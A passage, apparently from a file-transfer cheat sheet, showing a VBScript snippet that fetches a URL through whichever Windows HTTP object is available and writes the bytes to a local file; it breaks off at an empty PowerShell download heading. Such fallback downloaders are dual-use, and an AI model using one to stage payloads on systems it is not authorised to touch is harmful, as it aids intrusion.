Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0
Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0
Const HTTPREQUEST_PROXYSETTING_DIRECT = 1
Const HTTPREQUEST_PROXYSETTING_PROXY = 2
Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts
Err.Clear
Set http = Nothing
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest")
If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP")
If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")
http.Open "GET",strURL,False
http.Send
varByteArray = http.ResponseBody
Set http = Nothing
Set fs = CreateObject("Scripting.FileSystemObject")
Set ts = fs.CreateTextFile(StrFile,True)
strData = ""
strBuffer = ""
For lngCounter = 0 to UBound(varByteArray)
    ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1)))
Next
ts.Close
```

**PowerShell Commands to Download Files**

```powershell
